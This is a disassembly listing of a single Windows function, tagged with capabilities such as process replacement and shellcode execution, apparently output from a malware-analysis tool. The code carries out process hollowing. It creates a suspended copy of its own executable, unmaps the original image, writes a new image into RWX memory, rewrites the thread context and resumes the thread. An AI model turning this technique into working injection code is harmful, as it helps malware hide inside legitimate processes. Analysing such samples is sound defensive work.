Function at 0x401610
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push ebp
push edi
mov eax, 0xa1cc
push esi
push ebx
call fcn.00403630
sub esp, eax
mov eax, dword [esp + 0xa1e0]
mov dword [esp + 0x5c], 0
mov dword [esp + 0x60], 0
mov dword [esp + 8], 0x104
mov dword [esp], 0
mov ebp, eax
lea eax, [esp + 0x1b0]
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
sub esp, 0xc
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, dword [eax + 0x3c]
sub esp, 4
mov ecx, 0x3e
mov dword [esp + 0x3c], ebp
add ebp, dword [ebp + 0x3c]
mov edi, dword [eax + 0x34]
mov eax, dword [eax + 0x50]
mov esi, ebp
add ebp, 0xf8
mov dword [esp + 0x48], edi
lea edi, [esp + 0xb8]
mov dword [esp + 0x4c], eax
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x108]
mov dword [esp], edi
mov dword [esp + 0x44], edi
call sub.msvcrt.dll_malloc
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov esi, eax
mov dword [esp], eax
mov dword [esp + 0x40], eax
call sub.msvcrt.dll_memset
movzx eax, word [esp + 0xbe]
lea edx, [esp + 0x580]
mov dword [esp + 4], ebp
mov edi, dword [esp + 0x10c]
mov dword [esp], edx
mov ebx, eax
lea eax, [eax + eax*4]
shl eax, 3
mov dword [esp + 8], eax
call sub.msvcrt.dll_memcpy
mov ebp, dword [esp + 0x3c]
mov dword [esp + 8], edi
mov dword [esp], esi
mov dword [esp + 4], ebp
call sub.msvcrt.dll_memcpy
mov ecx, dword [esp + 0xf0]
xor edx, edx
mov eax, edi
div ecx
test edx, edx
je 0x401720
lea edi, [eax + 1]
imul edi, ecx
add edi, dword [esp + 0x40]
test bx, bx
je 0x40177b
lea ebx, [esp + 0x590]
xor ebp, ebp
mov eax, dword [esp + 0x3c]
add eax, dword [ebx + 4]
mov edx, dword [ebx]
mov dword [esp], edi
mov dword [esp + 8], edx
mov dword [esp + 4], eax
call sub.msvcrt.dll_memcpy
mov ecx, dword [ebx - 8]
mov esi, dword [esp + 0xf0]
xor edx, edx
mov eax, ecx
div esi
test edx, edx
je 0x401767
add eax, 1
imul eax, esi
mov ecx, eax
movzx eax, word [esp + 0xbe]
add ebp, 1
add edi, ecx
add ebx, 0x28
cmp eax, ebp
ja 0x401732
lea edx, [esp + 0x74]
xor eax, eax
mov ecx, 0x11
lea ebx, [esp + 0x2b4]
lea esi, [esp + 0x64]
mov dword [esp + 0x64], 0
mov edi, edx
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0
rep stosd dword es:[edi], eax
mov edi, ebx
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0x44
mov cl, 0xb3
rep stosd dword es:[edi], eax
lea eax, [esp + 0x1b0]
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
sub esp, 0x28
test eax, eax
jne 0x401834
mov eax, dword [esp + 0x40]
mov dword [esp + 0xa1e0], eax
add esp, 0xa1cc
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.004036d0
mov eax, dword [esp + 0x68]
mov dword [esp + 0x2b4], 0x10007
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
sub esp, 8
mov eax, dword [esp + 0x48]
cmp dword [esp + 0xec], eax
je 0x4019bb
mov dword [esp], str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov esi, eax
mov dword [esp + 4], str.NtUnmapViewOfSection
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [0x467038], eax
mov edx, dword [esp + 0x64]
mov edi, dword [esp + 0x48]
mov dword [esp], edx
mov dword [esp + 4], edi
call eax
sub esp, 8
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
sub esp, 4
mov eax, dword [esp + 0x44]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], eax
mov eax, dword [esp + 0xec]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x64]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
sub esp, 0x14
mov eax, dword [esp + 0x44]
mov edi, dword [esp + 0x40]
lea ebp, [esp + 0x5c]
mov dword [esp + 0x10], ebp
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xec]
mov dword [esp + 8], edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x64]
mov dword [esp], eax
call edi
sub esp, 0x14
mov ecx, dword [esp + 0x358]
lea eax, [esp + 0xec]
mov dword [esp + 0x10], ebp
mov dword [esp + 0xc], 4
mov dword [esp + 8], eax
lea eax, [ecx + 8]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x64]
mov dword [esp], eax
call edi
sub esp, 0x14
mov eax, dword [esp + 0xec]
add eax, dword [esp + 0xe0]
mov dword [esp + 4], ebx
mov dword [esp + 0x364], eax
mov eax, dword [esp + 0x68]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
sub esp, 8
mov eax, dword [esp + 0x60]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 8], eax
mov eax, dword [esp + 0xec]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x64]
mov dword [esp], eax
call esi
sub esp, 0x14
mov eax, dword [esp + 0x68]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
sub esp, 4
jmp 0x40181a
mov eax, dword [esp + 0x4c]
cmp eax, dword [esp + 0x108]
jb 0x401864
lea eax, [esp + 0x60]
mov dword [esp + 0xc], 0x40
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x64]
mov dword [esp], eax
call esi
sub esp, 0x14
jmp 0x4018e8